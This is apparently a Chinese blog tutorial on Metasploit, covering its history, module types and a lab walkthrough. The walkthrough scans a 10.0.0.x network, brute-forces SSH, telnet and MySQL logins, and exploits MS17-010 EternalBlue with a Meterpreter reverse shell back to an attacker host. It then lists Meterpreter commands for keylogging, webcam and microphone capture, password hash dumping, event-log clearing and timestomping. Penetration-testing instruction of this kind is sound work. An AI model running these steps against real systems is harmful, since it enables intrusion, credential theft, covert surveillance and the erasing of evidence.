简介
- Metasploit 是一个开源的渗透测试开源软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台(可扩展),此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境
诞生与发展
- Metasploit 项目最初是由HD Moore 在2003 年夏季创立,目标是成为渗透攻击研究与代码开发的一个开放资源.
- HD Moore在2003 年的10月发布了他的第一个基于Perl 语言(pl)的Metasploit 版本,当时一共集成了11个渗透攻击模块.
- 在Spoonm 的帮助下,完全重写了Metasploit 的代码,并在2004 年4月发布了Metasploit v2.0 ,版本中已经包含了18个渗透攻击模块和27 个攻击载荷(payload),并提供了控制台终端,命令行和Web 三个使用接口.
- 在2004 年8月,HD 和Spoonm 带着最新发布的Metasploit v2.2 并在拉斯维加斯举办的BlackHat 全球黑客大会上进行了演讲.听众被Metasploit 的强大之处所折服,并一致认为:Metasploit 时代已经到来.更多的黑客加入Metasploit 核心开发团队与贡献渗透攻击,载荷与辅助模块代码.
- 在2005 年的CanSecWest 黑客会议上,HD 和Spoonm 指出了Metasploit v2 体系框架中的一些难以解决的难题,包括:
- 缺乏跨平台支持,特别是不能很好地运行在Windows 系统上.
- 很难支持自动化渗透攻击过程
- Perl 语言的复杂性和缺点使得外部贡献者与用户规模增长不相适应
- Perl 语言对一些复杂特性的支持能力较弱等.
- 而且v2 版本是完全围绕着渗透攻击而设计的,对信息搜集与后渗透攻击阶段无法提供有效支持.经过18个月的时间,Metasploit 团队使用Ruby 语言完全重写了Metasploit ,并在2007 年5月发布了v3.0 版本,其中包含177 个渗透攻击模块,104 个攻击载荷模块以及30 个新引入的辅助模块.- Metasploit v3.0 的发布使得Metasploit 不在限于用作渗透攻击软件,而真正成为一个事实上的渗透测试技术研究与开发平台.- 2009 年10月,Metasploit 项目被一家渗透测试技术领域的知名安全公司Rapid7 所收购.Rapid7 公司随后与2010 年10月推出了Metasploit Express 和Pro 商业版本.
- Metasploit v4.0 在2011 年8 月发布.v4.0 版本在渗透攻击,攻击载荷与辅助模块的数量上都有显著的扩展,此外还引入一种新的模块类型——后渗透攻击模块,以支持在渗透攻击环节中进行敏感信息搜集,内网拓展等一系列的攻击测试.
- Metasploit v5.0 在2019 年1月份发布.Metasploit 5.0 使用了新的数据库,并提供了一种新的数据服务.新版本引入了新的规避机制(evasion capabilities),支持多项语言,框架建立在不断增长的世界级攻击性内容库的框架基础上.另外,此次更新还包括了可用性改进和大规模开发的支持,数据库和自动化 API 的改进等.
技术架构
辅助模块(auxiliary)
- Metasploit 为渗透测试的信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点,构建虚假服务收集登录密码,口令猜测破解,敏感信息嗅探,探查敏感信息泄露,Fuzz测试发掘漏洞,实施网络协议欺骗等模块.辅助模块能够帮助渗透测试者在渗透攻击之前取得目标系统丰富的情报信息.
渗透攻击模块(exploits)
- 渗透攻击模块是利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获取对远程目标系统访问权的代码组件.
- 主动渗透攻击所利用的安全漏洞位于网络服务端软件与服务承载的上层应用程序之中,由于这些服务通常是在主机上开启一些监听端口并等待客户端连接,因此针对它们的渗透攻击可以主动发起,通过连接目标系统网络服务,注入一些特殊构造的包含"邪恶"攻击数据的网络请求内容,触发安全漏洞,并使得远程服务进程执行在"邪恶"数据中包含攻击载荷,从而获取目标系统的控制会话.
- 被动渗透攻击利用的漏洞位于客户端软件中,如浏览器,浏览器插件,电子邮件客户端,Office 与Adobe 等各种文档阅读与编辑软件.对于这类存在于客户端软件的安全漏洞,我们无法主动地将数据从远程输入到客户端软件中,因此只能采用被动渗透攻击的方式,即构造出"邪恶"的网页,电子邮件或文档文件,并通过架设包含此类恶意内容的服务,发送邮件附件,结合社会工程学分发并诱骗目标用户打开,结合网络欺骗和劫持技术等方式,等目标系统上的用户访问到这些邪恶的内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的Shell 会话.
攻击载荷模块(payloads)
- 攻击载荷是在渗透攻击成功后使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接.
空指令模块(nops)
- 空指令(NOP)是一些对程序运行状态不会造成任何实质影响的空操作或者无关操作指令,最典型的空指令就是空操作,在x86 CPU 体系架构平台上的操作码是
0x90
编码器模块(encoders)
- 攻击载荷模块与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入邪恶数据缓冲区交由目标系统运行之前,Metasploit 框架还需要完成一道非常重要的工序--编码.
- 编码器模块的第一个使命就是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符".编码器的第二个使命就是对攻击载荷进行"免杀"处理.
后渗透攻击模块(post)
- 后渗透攻击模块主要支持在渗透攻击取得目标系统控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息,进一步拓展,实施跳板攻击等.
免杀模块(evasion)
- 对攻击载荷进行"免杀"处理.
为什么使用Metasploit
渗透攻击是目前Metasploit 最强大和最具吸引力的核心功能,Metasploit 框架中集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全漏洞的渗透攻击模块,可以由用户在渗透攻击场景中根据漏洞扫描结果进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测措施,对目标系统实施远程攻击,获取系统的访问控制权.除了渗透攻击之外,Metasploit 在发展过程中逐渐增加对渗透测试全过程的支持,包括情报搜集,威胁建模,漏洞分析,后渗透攻击与报告生成.
情报搜集阶段
- Metasploit 一方面通过内建的一系列扫描器与查点辅助模块来获取远程服务器信息,另一方面通过插件机制集成调用Nmap,Nessus,OpenVAS 等业界著名的开源网络扫描工具,从而具备全面的信息搜集能力,为渗透攻击实施提供必不可少的精确情报.
威胁建模阶段
- 在搜集信息之后,Metasploit 支持一系列数据库命令操作直接将这些信息汇总至PostgreSQL,MySQL,SQLite 数据库中,并为用户提供易用的数据库查询命令,可以帮助渗透测试者对目标系统搜索到的情报进行威胁建模,从中找出最可行的攻击路径.
漏洞分析阶段
- 除了信息搜集环节能够直接扫描出一些已公布的安全漏洞之外,Metasploit 中还提供了大量的协议Fuzz 测试器与Web 应用漏洞探测分析模块,支持具有一定水平能力的渗透测试者在实际过程中尝试挖掘出0Day 漏洞,并对漏洞机理与利用方法进行深入分析,而这将为渗透攻击目标带来更大的杀伤力,并提升渗透测试流程的技术含金量.
后渗透攻击阶段
- 在成功实施渗透攻击并获得目标系统的远程控制权之后,Metasploit 框架中另一个极具威名的工具Meterpreter 在后渗透攻击阶段提供了强大功能.
- Meterpreter 可以看作一个支持多操作系统平台,可以仅仅驻留于内存中并具备免杀能力的高级后门工具,Meterpreter 中实现了特权提升,信息攫取,系统监控,跳板攻击与内网拓展等多样化的功能特性,此外还支持一种灵活可扩展的方式来加载额外功能的后渗透攻击模块.
报告生成阶段
- Metasploit 框架获得的渗透测试结果可以输入至内置数据库中,因此这些结果可以通过数据查询来获取,并辅助渗透测试报告的写作.
- 商业版的Metasploit Pro 具备了更加强大的报告生成功能,可以输出HTML,XML,Word 和PDF 格式的报告,把那个支持定制渗透测试报告模板.
使用MSF
- 启动MSF
msfconsole
- 更新MSF
apt-get update
apt-get install metasploit-framework
如果更新后启动MSF提示以下报错
#更新bundler
apt-get install bundler
基本命令
进入模块
#进入auxiliary/scanner/http/dir_scanner模块
use auxiliary/scanner/http/dir_scanner
查看模块信息
#在该模块目录下查看该模块信息
info
设置参数
set RHOSTS 10.0.0.254
查看设置的参数
show options
执行
exploit
返回
back
靶机渗透测试
网站敏感目录扫描
可以借助Metasploit 中的brute_dirs,dir_listing,dir_scanner 等辅助模块来进行敏感目录扫描.他们主要使用暴力猜解的方式工作,注意此处需要提供一个目录字典.
- dir_scanner模块可以发现了网站上的一些目录,Admin,admin,images.只要字典足够大,可以找到更多的敏感目录
use auxiliary/scanner/http/dir_scanner
set RHOSTS 10.0.0.7
set THREADS 50
set RPORT 80
set SSL false
#可以通过DICTIONARY自定义字典文件
show options
exploit
主机发现
Metasploit中提供了一些辅助模块可用于主机发现,这些模块位于
modules/auxiliary/scanner/discovery/
目录中.可以使用arp_sweep
来枚举本地局域网中的所有活跃主机
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 10.0.0.0/24
set THREADS 50
exploit
端口扫描
Metasploit的辅助模块中提供了几款实用的端口扫描器.一般情况下推荐使用syn端口扫描器,结果比较准确且不易被对方察觉,扫描结果比tcp更好,但是比较费时
use auxiliary/scanner/portscan/syn
set RHOSTS 10.0.0.1
set THREADS 50
exploit
探测服务详细信息
在Metasploit中有一些插件可以调用系统中的命令,比如可以使用Nmap 探测目标的详细服务信息
nmap -sS -Pn 10.0.0.1 -sV
#-sS
使用SYN 半连接扫描
#-Pn
在扫描之前,不发送ICME echo 请求测试目标是否活跃
#-sV
探测服务详细版本
服务查点
通常管理员会使用SSH对服务器进行远程管理,服务器会向SSH客户端返回一个远程Shell连接.如果没有做其他的安全增强配置,只要获取服务的登录口令,就可以使用SSH客户端登录服务器,那就相当于获取了响应登录用户的所有权限.可以使用ssh_version模块遍历网络中开启SSH服务的主机.
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.0.0.0/24
set THREADS 50
exploit
- 其他服务也可以扫描,例如telnet,mysql等
#telnet
use auxiliary/scanner/telnet/telnet_version
#mysql
use auxiliary/scanner/mysql/mysql_version
口令猜测
在确定了网络上的SSH服务之后,可以使用MSF中的ssh_login模块对SSH服务进行口令猜测攻击,在进行口令攻击之前,需要一个好用的用户名和口令字典
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.0.0.7
set USER_FILE /root/dic/user.dic
set PASS_FILE /root/dic/pwd.dic
set THREADS 50
exploit
- 其他服务也可以爆破,例如telnet,mysql等
#telnet
use auxiliary/scanner/telnet/telnet_login
#mysql
use auxiliary/scanner/mysql/mysql_login
网络服务渗透攻击
MS17-010永恒之蓝漏洞利用
- 扫描主机是否存在漏洞
#扫描ms17-010漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.0/24
set THREADS 50
exploit
- 找到目标后,尝试利用漏洞攻击
10.0.0.6
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 10.0.0.6
set LHOST 10.0.0.221
exploit
- 出现Meterpreter命令提示符,渗透成功
Meterpreter命令
核心命令(Core Commands)
使用
background
命令后可以使用sessions
命令查看会话,或者查看sessions -h
帮助
命令 | 描述 |
---|---|
? | 帮助菜单 |
background | 背景当前会话 |
bg | 背景别名 |
bgkill | 杀死一个后台meterpreter脚本 |
bglist | 列出正在运行的后台脚本 |
bgrun | 执行一个meterpreter 脚本作为后台线程 |
channel | 显示信息或控制活动频道 |
close | 关闭频道 |
disable_unicode_encoding | 禁用 unicode 字符串的编码 |
enable_unicode_encoding | 启用 unicode 字符串编码 |
exit | 终止meterpreter会话 |
get_timeouts | 获取当前会话超时值 |
guid | 获取会话 GUID |
help | 帮助菜单 |
info | 显示有关帖子模块的信息 |
irb | 在当前会话中打开一个交互式 Ruby shell |
load | 加载一个或多个meterpreter扩展 |
machine_id | 获取连接到会话的机器的 MSF ID |
migrate | 将服务器迁移到另一个进程 |
pivot | 管理枢轴监听器 |
pry | 在当前会话中打开 Pry 调试器 |
quit | 终止meterpreter会话 |
read | 从通道中读取数据 |
resource | 运行存储在文件中的命令 |
run | 执行meterpreter 脚本或Post 模块 |
secure | (重新)协商会话上的 TLV 数据包加密 |
sessions | 快速切换到另一个会话 |
set_timeouts | 设置当前会话超时值 |
sleep | 强制 Meterpreter 进入安静状态,然后重新建立会话。 |
transport | 改变当前的传输机制 |
use | 已弃用的“load”别名 |
uuid | 获取当前会话的 UUID |
write | 将数据写入通道 |
文件系统命令(File system Commands)
命令 | 描述 |
---|---|
cat | 读取文件内容到屏幕 |
cd | 更改目录 |
checksum | 检索文件的校验和 |
cp | 复制源到目标 |
del | 删除指定文件 |
dir | 列出文件(ls 的别名) |
download | 下载文件或目录 |
edit | 编辑文件 |
getlwd | 打印本地工作目录 |
getwd | 打印工作目录 |
lcd | 更改本地工作目录 |
lls | 列出本地文件 |
lpwd | 打印本地工作目录 |
ls | 列出文件 |
mkdir | 建立目录 |
mv | 将源移动到目标 |
pwd | 打印工作目录 |
rm | 删除指定文件 |
rmdir | 删除目录 |
search | 搜索文件 |
show_mount | 列出所有挂载点/逻辑驱动器 |
upload | 上传文件或目录 |
网络命令(Networking Commands)
命令 | 描述 |
---|---|
arp | 显示主机 ARP 缓存 |
getproxy | 显示当前代理配置 |
ifconfig | 显示界面 |
ipconfig | 显示接口 |
netstat | 显示网络连接 |
portfwd | 将本地端口转发到远程服务 |
resolve | 解析目标上的一组主机名 |
route | 查看和修改路由表 |
系统命令(System Commands)
命令 | 描述 |
---|---|
clearev | 清除事件日志 |
drop_token | 放弃任何活动的模拟令牌。 |
execute | 执行命令 |
getenv | 获取一个或多个环境变量值 |
getpid | 获取当前进程标识符 |
getprivs | 尝试启用当前进程可用的所有权限 |
getsid | 获取服务器运行用户的 SID |
getuid | 获取服务器运行的用户 |
kill | 终止一个进程 |
localtime | 显示目标系统本地日期和时间 |
pgrep | 按名称过滤进程 |
pkill | 按名称终止进程 |
ps | 列出正在运行的进程 |
reboot | 重启远程计算机 |
reg | 修改远程注册表并与之交互 |
rev2self | 在远程机器上调用 RevertToSelf() |
shell | 放入系统命令shell |
shutdown | 关闭远程计算机 |
steal_token | 试图从目标进程中窃取模拟令牌 |
suspend | 暂停或恢复进程列表 |
sysinfo | 获取远程系统的信息,例如操作系统 |
用户界面命令(User interface Commands)
命令 | 描述 |
---|---|
enumdesktops | 列出所有可访问的桌面和窗口站 |
getdesktop | 获取当前的meterpreter桌面 |
idletime | 返回远程用户空闲的秒数 |
keyboard_send | 发送击键 |
keyevent | 发送关键事件 |
keyscan_dump | 转储击键缓冲区 |
keyscan_start | 开始捕捉击键 |
keyscan_stop | 停止捕获击键 |
mouse | 发送鼠标事件 |
screenshare | 实时观看远程用户桌面 |
screenshot | 抓取交互式桌面的屏幕截图 |
setdesktop | 更改meterpreters 当前桌面 |
uictl | 控制一些用户界面组件 |
摄像头命令(Webcam Commands)
命令 | 描述 |
---|---|
record_mic | 从默认麦克风录制音频 X 秒 |
webcam_chat | 开始视频聊天 |
webcam_list | 列出网络摄像头 |
webcam_snap | 从指定的网络摄像头拍摄快照 |
webcam_stream | 播放来自指定网络摄像头的视频流 |
音频输出命令(Audio Output Commands)
命令 | 描述 |
---|---|
play | 在目标系统上播放波形音频文件 (.wav) |
特权升级命令(Elevate Commands)
命令 | 描述 |
---|---|
getsystem | 尝试将您的权限提升到本地系统的权限 |
密码转储命令(Password database Commands)
命令 | 描述 |
---|---|
hashdump | 转储 SAM 数据库的内容 |
Timestomp命令(Timestomp Commands)
命令 | 描述 |
---|---|
timestomp | 操作文件 MACE 属性 |
0 条评论